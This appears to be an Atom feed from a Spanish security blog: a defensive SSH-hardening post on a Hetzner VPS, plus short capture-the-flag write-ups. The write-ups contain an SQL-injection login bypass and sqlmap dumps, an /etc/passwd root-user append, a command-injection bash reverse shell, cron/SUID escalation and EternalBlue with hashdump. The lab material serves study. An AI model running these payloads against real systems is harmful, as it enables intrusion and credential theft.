<p>No es 100% seguro ya que eso no existe. Es una configuración donde cada decisión tiene un motivo detrás y las limitaciones están identificadas antes de convertirse en un problema. Para lo que necesitaba practicar n8n sin pagar cloud y sin dejar un panel sensible abierto al mundo me parece el equilibrio correcto.</p>]]></content><author><name>iamEscri</name></author><category term="defensive" /><category term="n8n" /><category term="hardening" /><category term="ssh" /><category term="docker" /><category term="blue-team" /><category term="firewall" /><category term="caddy" /><category term="self-hosting" /><category term="postgres" /><category term="vps" /><category term="hetzner" /><category term="compose" /><summary type="html"><![CDATA[Quería practicar n8n sin pagar cloud ni dejar el panel expuesto. Monté un VPS y lo securicé capa a capa: SSH endurecido, firewall perimetral, red interna Docker, IP allowlist y secretos fuera del código.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">SSH expuesto: lo que pasa en las primeras horas y cómo lo arreglé</title><link href="https://iamescri.es/defensive/ssh-expuesto-primeras-horas/" rel="alternate" type="text/html" title="SSH expuesto: lo que pasa en las primeras horas y cómo lo arreglé" /><published>2026-05-15T00:00:00+00:00</published><updated>2026-05-15T00:00:00+00:00</updated><id>https://iamescri.es/defensive/ssh-expuesto-primeras-horas</id><content type="html" xml:base="https://iamescri.es/defensive/ssh-expuesto-primeras-horas/"><![CDATA[<p>Antes de instalar nada en un VPS nuevo, lo primero que revisé fue SSH. Lo dejé con la configuración por defecto, expuesto en internet, para ver qué pasaba. En menos de 3 horas: 506 intentos de acceso desde IPs distintas. Esto es lo que observé y las decisiones que tomé.</p>

<h2 id="el-contexto--por-qué-monté-este-laboratorio">El contexto — por qué monté este laboratorio</h2>

<p>Quería montar un VPS para producción y antes de instalar nada preferí revisar algunas configuraciones básicas de seguridad.</p>

<p>Lo primero que revisé fue el protocolo SSH ya que <strong>por defecto cualquier servidor de Linux expone SSH en el puerto 22 sin ninguna restricción</strong> y esto provoca que cualquier máquina en internet pueda intentar conectarse al servidor por SSH.</p>

<p>Además no hace falta conocer la IP ya que existen bots en internet que están escaneando direcciones IPs constantemente. Entonces hasta aquí hay dos riesgos concretos:</p>

<p>El primero es que si las credenciales son débiles pueden entrar.</p>

<p>El segundo riesgo es que aunque no entren cada intento consume recursos del servidor como CPU, memoria, escrituras en disco para los logs y esto en un VPS con recursos limitados puede perjudicar al rendimiento o directamente dejar el servicio inaccesible.</p>

<p>Para comprobarlo antes de tocar nada decidí dejar el servidor expuesto unas horas y monitorizar los logs de auth.log, lo que vi me dejó bastante claro por qué SSH es siempre lo primero que hay que revisar.</p>

<hr />

<h2 id="lo-que-encontré-506-intentos-en-2-horas">Lo que encontré: 506 intentos en 2 horas</h2>

<p>Dejé el servidor expuesto sin tocar nada y estuve monitoreando los logs de <code class="language-plaintext highlighter-rouge">/var/log/auth.log</code>. En 2 horas y 23 minutos el servidor recibió 506 intentos de acceso fallidos desde internet. Usé expresiones regulares para ver el número de veces y la IP con la que intentaron el acceso donde obviamente por razones de seguridad se censuraron.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/01-inentos-total.png" alt="Total de intentos fallidos" /></p>

<p>Y estos fueron los usuarios que probaron con el acceso:</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/02-usuarios-atacantes.png" alt="Usuarios que probaron el acceso" /></p>

<p>221 intentos directamente contra root y 332 contra usuarios que no existen en el sistema y esto es debido a que los bots tienen listas de usuarios comunes donde van probando el acceso.</p>

<p>Primero van a por root porque es el usuario que siempre existe y tiene acceso total. Si entra el servidor es prácticamente suyo porque puede realizar cualquier acción con permisos.</p>

<p>Hay que recalcar que esto no es un ataque dirigido sino que son varios bots distintos que encontraron el servidor de forma independiente escaneando rangos de IPs y que están constantemente intentando entrar en el servidor por SSH.</p>

<p>Esta sería la línea original sin filtrar con expresiones regulares donde se ve claramente el intento de inicio de sesión desde diferentes IPs y usuarios.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/03-log-raw.png" alt="Log raw sin filtrar" /></p>

<hr />

<h2 id="decisión-1--deshabilitar-root">Decisión 1 — deshabilitar root</h2>

<p>Viendo los logs me quedó claro que el primer objetivo de cualquier bot es el usuario <code class="language-plaintext highlighter-rouge">root</code> y esto es debido a que es el usuario que existe en cualquier servidor Linux por defecto y tiene permisos totales sobre el sistema. Si consiguen entrar, el servidor es prácticamente suyo sin necesidad de escalar privilegios.</p>

<p>Por eso la primera decisión que hice fue deshabilitar root para acceso SSH donde simplemente le digo al servicio SSH que no acepte conexiones con ese usuario.</p>

<p>Antes de deshabilitarlo necesitaba un usuario alternativo con acceso <code class="language-plaintext highlighter-rouge">sudo</code> porque de lo contrario me quedaría fuera del servidor ya que yo accedía como root.</p>

<p>Por ello creé el usuario alvaro usando el comando:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adduser alvaro
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/04-adduser.png" alt="Creación del usuario alvaro" /></p>

<p>Y lo añadí al grupo sudo:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>usermod <span class="nt">-aG</span> <span class="nb">sudo </span>alvaro
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/05-usermod-sudo.png" alt="Añadir al grupo sudo" /></p>

<p>Por motivos obvios de seguridad el usuario que acabo de crear tiene una contraseña robusta.</p>

<p>Ahora será con el usuario alvaro por el cual nos conectamos por ssh en lugar de root. Ahora si procedo a deshabilitar el usuario root para acceder por ssh.</p>

<p>Para hacerlo edité el archivo de configuración de SSH:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nano /etc/ssh/sshd_config
</code></pre></div></div>

<p>Y busqué la línea <code class="language-plaintext highlighter-rouge">PermitRootLogin</code> y la cambié a:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PermitRootLogin no
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/06-sshd-config-permitroot.png" alt="sshd_config con PermitRootLogin no" /></p>

<p>Antes de reiniciar el servicio SSH ejecuté el comando:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sshd <span class="nt">-t</span>
</code></pre></div></div>

<p>Esto lo hago para comprobar que la configuración no tenga errores.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/07-sshd-t.png" alt="Validación con sshd -t" /></p>

<p>Una vez haya comprobado de que la configuración es correcta reiniciamos el servicio ssh:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl restart ssh
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/08-systemctl-restart.png" alt="Reinicio del servicio SSH" /></p>

<p>Ahora si intento entrar como root me dice permiso denegado.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/09-root-denied.png" alt="Permiso denegado al intentar entrar como root" /></p>

<p>Esta medida tiene una limitación clara y es que deshabilitar root solo tiene valor si el resto de usuarios con acceso sudo tienen contraseñas robustas ya que si un atacante consigue entrar con un usuario que tiene sudo y contraseña débil puede ejecutar <code class="language-plaintext highlighter-rouge">sudo su</code> y convertirse en root igualmente. La medida reduce la superficie de ataque pero no la elimina.</p>

<hr />

<h2 id="decisión-2--autenticación-por-clave">Decisión 2 — autenticación por clave</h2>

<p>La primera medida reduce la superficie de ataque pero no elimina el vector de fuerza bruta mientras la autenticación por contraseña está activada, esto hace que un bot pueda seguir probando combinaciones constantemente. La solución es cambiar el mecanismo de autenticación por clave.</p>

<p>Con autenticación por clave el servidor deja de aceptar contraseñas y solo puede entrar quien tenga el archivo de clave privada correspondiente evitando así que puedan realizar intentos de fuerza bruta sobre el servidor.</p>

<p>Para generar el par de claves usé <code class="language-plaintext highlighter-rouge">ed25519</code> en lugar del clásico RSA y esto es debido a que Ed25519 es más moderno, genera claves más cortas con el mismo nivel de seguridad y es más rápido en la verificación. En 2026 no hay razón para usar RSA salvo compatibilidad con sistemas muy antiguos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-keygen <span class="nt">-t</span> ed25519 <span class="nt">-C</span> <span class="s2">"iamescri-labSSH"</span> <span class="nt">-f</span> ~/.ssh/iamescri_labSSH
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/10-keygen.png" alt="Generación del par de claves ed25519" /></p>

<p>Esto genera dos archivos: la clave privada <code class="language-plaintext highlighter-rouge">iamescri_labSSH</code> que no sale de mi máquina y la clave pública <code class="language-plaintext highlighter-rouge">iamescri_labSSH.pub</code> que es la que va al servidor.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/11-claves-generadas.png" alt="Claves generadas" /></p>

<p>Además le añadí una passphrase al generar la clave, una capa adicional por si alguien consigue acceder al archivo de clave privada.</p>

<p>Después copié la clave pública al servidor:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-copy-id <span class="nt">-i</span> ~/.ssh/iamescri_labSSH.pub alvaro@IP-PUBLICA
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/12-copy-id.png" alt="Copia de la clave pública al servidor" /></p>

<p>Hacemos una comprobación para ver si podemos entrar por la clave, para eso pongo el comando:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-i</span> ~/.ssh/iamescri_labSSH alvaro@IP-PUBLICA
</code></pre></div></div>

<p>y después preguntará por el passphrase que pusimos al generar la clave, lo pongo y me deja entrar correctamente.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/13-acceso-clave.png" alt="Acceso por clave privada" /></p>

<p>Una vez confirmado el acceso por clave desactivé la autenticación por contraseña en el archivo <code class="language-plaintext highlighter-rouge">sshd_config</code> para ello puse:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PasswordAuthentication no
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/14-PasswordAuthentication.png" alt="PasswordAuthentication no en sshd_config" /></p>

<p>Este es el paso que cierra el vector de fuerza bruta, si no hacemos este cambio la contraseña sigue siendo una vía de entrada.</p>

<p>La limitación de esta medida es que si pierdes la clave privada y no tienes otra forma de acceso al servidor te quedas sin poder entrar. Por eso es recomendable tener más de una clave autorizada o al menos un método de acceso de emergencia como la consola web del proveedor del servidor.</p>

<p>Al reiniciar el servicio comprobé que la contraseña seguía funcionando. El problema estaba en que Ubuntu 24.04 en Hetzner incluye un archivo de cloud-init que sobreescribe la configuración principal de SSH que estaba en la ruta:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/ssh/sshd_config.d/50-cloud-init.conf
</code></pre></div></div>

<p>Este archivo tenía <code class="language-plaintext highlighter-rouge">PasswordAuthentication yes</code> y tiene prioridad sobre <code class="language-plaintext highlighter-rouge">sshd_config</code>. Tuve que modificarlo también para que el cambio surtiera efecto.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/15-cloud-init.png" alt="Archivo cloud-init con PasswordAuthentication yes" /></p>

<p>Ahora si yo intento conectarme como usuario alvaro via contraseña me da permiso denegado.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/16-password-denied.png" alt="Permission denied al intentar entrar con contraseña" /></p>

<p>A partir de este momento el servidor solo acepta conexiones SSH mediante clave privada. Cualquier intento de autenticación por contraseña es denegado sin importar si la contraseña es correcta o no.</p>

<p>Los bots pueden seguir intentando entrar pero ya no tienen ningún vector válido de entrada.</p>

<hr />

<h2 id="decisión-3--fail2ban">Decisión 3 — fail2ban</h2>

<p>Aunque las dos medidas anteriores eliminan el vector de fuerza bruta los bots siguen intentando conectarse. Cada intento genera ruido en los logs y consume recursos del servidor como CPU, memoria o escrituras en disco. En un VPS con recursos limitados ese ruido constante tiene un coste real aunque ningún intento tenga éxito.</p>

<p>Es por eso que decidí implementar <code class="language-plaintext highlighter-rouge">fail2ban</code>, que monitoriza los logs en tiempo real y banea automáticamente las IPs que superan un número de intentos fallidos en un tiempo determinado.</p>

<p>No es una medida de seguridad crítica en este contexto ya que con la autenticación por clave ya está cerrado el vector de entrada, pero sí una medida para reducir el ruido, limpiar los logs y liberar recursos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>apt <span class="nb">install </span>fail2ban <span class="nt">-y</span>
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/17-fail2ban-install.png" alt="Instalación de fail2ban" /></p>

<p>Antes de configurar fail2ban tuve en cuenta que nunca se edita directamente <code class="language-plaintext highlighter-rouge">jail.conf</code> y esto es debido a que este es el archivo de configuración original que viene con fail2ban y se sobreescribe cada vez que el paquete se actualiza donde cualquier cambio que haga ahí desaparece en la próxima actualización.</p>

<p>Lo que hice es crear una copia llamada <code class="language-plaintext highlighter-rouge">jail.local</code> donde Fail2ban lee los dos archivos pero jail.local tiene prioridad y nunca se toca en las actualizaciones. Es la forma que tiene fail2ban de separar la configuración por defecto de la configuración del usuario.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo cp</span> /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/18-cp-etcfail2banjail.png" alt="Copia de jail.conf a jail.local" /></p>

<p>A partir de ahí todos los cambios que haga van en <code class="language-plaintext highlighter-rouge">jail.local</code> y nunca en <code class="language-plaintext highlighter-rouge">jail.conf</code>.</p>

<p>Después de crear el archivo <code class="language-plaintext highlighter-rouge">jail.local</code> lo que hice fue buscar la sección de sshd y puse los siguientes valores:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[sshd]</span><span class="w">
</span><span class="py">enabled</span><span class="w">  </span><span class="p">=</span><span class="w"> </span><span class="s">true</span>
<span class="py">mode</span><span class="w">     </span><span class="p">=</span><span class="w"> </span><span class="s">normal</span>
<span class="py">port</span><span class="w">     </span><span class="p">=</span><span class="w"> </span><span class="s">ssh</span>
<span class="py">logpath</span><span class="w">  </span><span class="p">=</span><span class="w"> </span><span class="s">%(sshd_log)s</span>
<span class="py">backend</span><span class="w">  </span><span class="p">=</span><span class="w"> </span><span class="s">%(sshd_backend)s</span>
<span class="py">maxretry</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">3</span>
<span class="py">bantime</span><span class="w">  </span><span class="p">=</span><span class="w"> </span><span class="s">3600</span>
<span class="py">findtime</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">600</span>
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/19-fail2ban-jail-config.png" alt="Configuración de la sección sshd en jail.local" /></p>

<p>Solo modifiqué tres valores respecto a la configuración por defecto:</p>

<p><code class="language-plaintext highlighter-rouge">maxretry = 3</code> indica que con tres intentos fallidos provoca un ban. Lo pongo así porque un usuario legítimo no falla tres veces seguidas, un bot sí.</p>

<p><code class="language-plaintext highlighter-rouge">findtime = 600</code> esos tres intentos tienen que ocurrir en un tiempo de 10 minutos, esto evita banear a alguien que falló una vez hoy y otra mañana.</p>

<p><code class="language-plaintext highlighter-rouge">bantime = 3600</code> indica una hora de ban, lo que es suficiente para cortar el ataque sin ser tan agresivo que un falso positivo se convierta en un problema real.</p>

<p>El resto de parámetros los dejé en sus valores por defecto ya que funcionan correctamente para este caso y no había razón para tocarlos.</p>

<p>Después de estos cambios arranqué el servicio:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>systemctl <span class="nb">enable </span>fail2ban
<span class="nb">sudo </span>systemctl start fail2ban
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/20-fail2ban-enable-start.png" alt="Arranque del servicio fail2ban" /></p>

<p>Después de arrancar el servicio y dejarlo un tiempo comprobé si funciona y ver si ha baneado alguna IP o no:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>fail2ban-client status sshd
</code></pre></div></div>

<p><img src="/assets/img/defensiva/SSH-expuesto/21-fail2ban-status.png" alt="Estado del jail sshd en fail2ban" /></p>

<p>Fail2ban lleva activo poco tiempo y ya ha baneado 3 IPs distintas con 26 intentos fallidos detectados. En este momento hay 1 IP baneada activamente — una de las mismas que aparecía desde el principio en los logs.</p>

<p>La limitación de fail2ban es que no protege contra ataques distribuidos. Si un atacante usa miles de IPs distintas haciendo un solo intento cada una, nunca supera el <code class="language-plaintext highlighter-rouge">maxretry</code> y nunca es baneado. Para ese escenario hacen falta soluciones diferentes como listas de bloqueo por reputación de IP o servicios especializados en mitigación de ataques distribuidos.</p>

<hr />

<h2 id="el-después--comparativa-real">El después — comparativa real</h2>

<p>Cuando dejé el servidor expuesto sin tocar nada, en 2 horas y 23 minutos acumuló 506 intentos fallidos desde 3 IPs distintas. Eso fue antes de aplicar ninguna medida.</p>

<p>Ahora tras 24 horas con el hardening aplicado el contador está en 3.842 intentos desde más de 20 IPs distintas. La IP más persistente lleva 1.081 intentos ella sola desde el primer minuto pero ninguna consiguió entrar.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/22-comparativa-fail2ban.png" alt="Comparativa de intentos tras el hardening" /></p>

<p>Fail2ban ha baneado 4 IPs en total y mantiene 3 bloqueadas actualmente. Pero mirando los datos es evidente que no es la medida que detiene los ataques ya que hay IPs con cientos de intentos que nunca son baneadas porque espacian sus conexiones por debajo del <code class="language-plaintext highlighter-rouge">maxretry</code>, por lo que Fail2ban reduce el ruido pero no lo elimina.</p>

<p><img src="/assets/img/defensiva/SSH-expuesto/23-baneos-nuevos.png" alt="Baneos nuevos" /></p>

<p>Lo que realmente cierra la puerta son las decisiones 1 y 2. Sin root accesible y sin autenticación por contraseña, esos 3.842 intentos no tienen ninguna entrada posible. Los bots pueden seguir intentando indefinidamente — el resultado siempre será el mismo.</p>

<hr />

<h2 id="conclusión">Conclusión</h2>

<p>Exponer SSH directamente a Internet hace que el servidor empiece a recibir actividad automatizada desde el primer momento incluso sin tener ningún servicio desplegado todavía.</p>

<p>Lo más importante de este laboratorio no fue ver intentos de fuerza bruta ya que eso me lo esperaba, sino comprobar cómo pequeñas decisiones bien aplicadas reducen muchísimo la superficie de ataque sin necesidad de configuraciones complejas.</p>

<p>Deshabilitar root, eliminar autenticación por contraseña y limitar el ruido automatizado con Fail2Ban no hace que el servidor sea invulnerable, pero sí elimina gran parte de los vectores más comunes que utilizan los bots automatizados contra servicios SSH expuestos.</p>

<p>Después de dejar el servidor expuesto durante horas la conclusión es bastante clara: SSH no debería dejarse con la configuración por defecto en un entorno accesible desde Internet aunque el VPS sea pequeño o aparentemente poco interesante. Los bots no discriminan.</p>]]></content><author><name>iamEscri</name></author><category term="defensive" /><category term="ssh" /><category term="hardening" /><category term="blue-team" /><category term="fail2ban" /><category term="vps" /><category term="hetzner" /><summary type="html"><![CDATA[Desplegué un VPS, lo dejé expuesto sin tocar nada y monitoricé lo que llegaba. 506 intentos en 2 horas. Esto es lo que hice y por qué.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Injection</title><link href="https://iamescri.es/writeup/dockerlabs-injection/" rel="alternate" type="text/html" title="Injection" /><published>2026-04-15T00:00:00+00:00</published><updated>2026-04-15T00:00:00+00:00</updated><id>https://iamescri.es/writeup/dockerlabs-injection</id><content type="html" xml:base="https://iamescri.es/writeup/dockerlabs-injection/"><![CDATA[<h2 id="reconocimiento">Reconocimiento</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span> 5000 172.17.0.2
</code></pre></div></div>

<p>Puerto 80 abierto con formulario de login.</p>

<h2 id="sql-injection">SQL Injection</h2>

<p>Login bypass básico:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>usuario: admin' or '1'='1
password: cualquier cosa
</code></pre></div></div>

<p>Acceso obtenido. Enumeramos la base de datos con SQLMap:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlmap <span class="nt">-u</span> <span class="s2">"http://172.17.0.2/login.php"</span> <span class="nt">--data</span><span class="o">=</span><span class="s2">"user=admin&amp;pass=test"</span> <span class="nt">--dbs</span>
sqlmap <span class="nt">-u</span> <span class="s2">"http://172.17.0.2/login.php"</span> <span class="nt">--data</span><span class="o">=</span><span class="s2">"user=admin&amp;pass=test"</span> <span class="nt">-D</span> <span class="nb">users</span> <span class="nt">--tables</span>
sqlmap <span class="nt">-u</span> <span class="s2">"http://172.17.0.2/login.php"</span> <span class="nt">--data</span><span class="o">=</span><span class="s2">"user=admin&amp;pass=test"</span> <span class="nt">-D</span> <span class="nb">users</span> <span class="nt">-T</span> creds <span class="nt">--dump</span>
</code></pre></div></div>

<p>Credenciales extraídas: <code class="language-plaintext highlighter-rouge">dylan:KJSDFG789FGSDF74</code>.</p>

<h2 id="acceso-ssh">Acceso SSH</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh dylan@172.17.0.2
</code></pre></div></div>

<h2 id="escalada-de-privilegios">Escalada de Privilegios</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-la</span> /etc/passwd
<span class="c"># -rw-rw-rw- 1 root root ... /etc/passwd</span>
</code></pre></div></div>

<p>El fichero <code class="language-plaintext highlighter-rouge">/etc/passwd</code> tiene permisos de escritura para todos. Añadimos usuario root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'pwned::0:0:root:/root:/bin/bash'</span> <span class="o">&gt;&gt;</span> /etc/passwd
su pwned
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@injection:/# cat /root/root.txt
</code></pre></div></div>]]></content><author><name>iamEscri</name></author><category term="writeup" /><category term="sqli" /><category term="sql-injection" /><category term="passwd" /><category term="privesc" /><summary type="html"><![CDATA[Máquina Linux con SQL injection en login. Extracción de credenciales y escalada via passwd writable.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Exec</title><link href="https://iamescri.es/writeup/vulnyx-exec/" rel="alternate" type="text/html" title="Exec" /><published>2026-04-12T00:00:00+00:00</published><updated>2026-04-12T00:00:00+00:00</updated><id>https://iamescri.es/writeup/vulnyx-exec</id><content type="html" xml:base="https://iamescri.es/writeup/vulnyx-exec/"><![CDATA[<h2 id="reconocimiento">Reconocimiento</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span> 5000 192.168.1.X
</code></pre></div></div>

<p>Puertos: 22 (SSH), 80 (HTTP).</p>

<h2 id="enumeración-web">Enumeración Web</h2>

<p>Panel de administración en <code class="language-plaintext highlighter-rouge">/admin/</code> con función de ping:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://192.168.1.X/admin/ping.php?ip=127.0.0.1
</code></pre></div></div>

<h2 id="inyección-de-comandos">Inyección de Comandos</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip=127.0.0.1;id
</code></pre></div></div>

<p>Respuesta: <code class="language-plaintext highlighter-rouge">uid=33(www-data)</code>. Confirmada la inyección. Lanzamos reverse shell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">ip</span><span class="o">=</span>127.0.0.1<span class="p">;</span>bash <span class="nt">-c</span> <span class="s1">'bash -i &gt;&amp; /dev/tcp/192.168.1.Y/4444 0&gt;&amp;1'</span>
</code></pre></div></div>

<h2 id="escalada-de-privilegios">Escalada de Privilegios</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /etc/crontab
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>* * * * * root /opt/backup.sh
</code></pre></div></div>

<p>El script es escribible por <code class="language-plaintext highlighter-rouge">www-data</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'chmod +s /bin/bash'</span> <span class="o">&gt;&gt;</span> /opt/backup.sh
<span class="c"># Esperar 1 minuto...</span>
bash <span class="nt">-p</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash-5.1# whoami
root
</code></pre></div></div>]]></content><author><name>iamEscri</name></author><category term="writeup" /><category term="command-injection" /><category term="lfi" /><category term="cron" /><category term="privesc" /><summary type="html"><![CDATA[Máquina Linux con inyección de comandos en panel web y escalada via cron job mal configurado.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Blue</title><link href="https://iamescri.es/writeup/tryhackme-blue/" rel="alternate" type="text/html" title="Blue" /><published>2026-04-10T00:00:00+00:00</published><updated>2026-04-10T00:00:00+00:00</updated><id>https://iamescri.es/writeup/tryhackme-blue</id><content type="html" xml:base="https://iamescri.es/writeup/tryhackme-blue/"><![CDATA[<h2 id="reconocimiento">Reconocimiento</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span> 5000 10.10.X.X
</code></pre></div></div>

<p>Puerto 445 (SMB) abierto. Comprobamos si es vulnerable a MS17-010:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">--script</span> smb-vuln-ms17-010 <span class="nt">-p</span> 445 10.10.X.X
</code></pre></div></div>

<p>Resultado: <code class="language-plaintext highlighter-rouge">VULNERABLE</code>.</p>

<h2 id="explotación-eternalblue">Explotación (EternalBlue)</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfconsole
use exploit/windows/smb/ms17_010_eternalblue
<span class="nb">set </span>RHOSTS 10.10.X.X
<span class="nb">set </span>LHOST tun0
run
</code></pre></div></div>

<p>Shell obtenida como <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code> directamente.</p>

<h2 id="post-explotación">Post-Explotación</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Migrar a proceso estable</span>
migrate <span class="nt">-N</span> explorer.exe

<span class="c"># Volcar hashes</span>
hashdump
</code></pre></div></div>

<p>Hashes obtenidos:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
</code></pre></div></div>

<p>Crackear con john o pasar directamente con Pass-the-Hash.</p>]]></content><author><name>iamEscri</name></author><category term="writeup" /><category term="eternalblue" /><category term="ms17-010" /><category term="metasploit" /><category term="windows" /><summary type="html"><![CDATA[Máquina Windows clásica vulnerable a EternalBlue (MS17-010). Explotación con Metasploit.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BoardLight</title><link href="https://iamescri.es/writeup/hackthebox-boardlight/" rel="alternate" type="text/html" title="BoardLight" /><published>2026-04-08T00:00:00+00:00</published><updated>2026-04-08T00:00:00+00:00</updated><id>https://iamescri.es/writeup/hackthebox-boardlight</id><content type="html" xml:base="https://iamescri.es/writeup/hackthebox-boardlight/"><![CDATA[<h2 id="reconocimiento">Reconocimiento</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span> 5000 10.10.11.11
</code></pre></div></div>

<p>Puertos: 22 (SSH), 80 (HTTP). El sitio redirige a <code class="language-plaintext highlighter-rouge">board.htb</code>, añadirlo al <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>

<h2 id="enumeración-web">Enumeración Web</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffuf <span class="nt">-u</span> http://board.htb <span class="nt">-H</span> <span class="s2">"Host: FUZZ.board.htb"</span> <span class="nt">-w</span> /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
</code></pre></div></div>

<p>Subdominio encontrado: <code class="language-plaintext highlighter-rouge">crm.board.htb</code> — instancia de Dolibarr 17.0.0.</p>

<h2 id="explotación-dolibarr-rce">Explotación Dolibarr (RCE)</h2>

<p>Dolibarr 17.0.0 es vulnerable a RCE autenticado via inyección PHP en plantillas. Credenciales por defecto: <code class="language-plaintext highlighter-rouge">admin:admin</code>.</p>

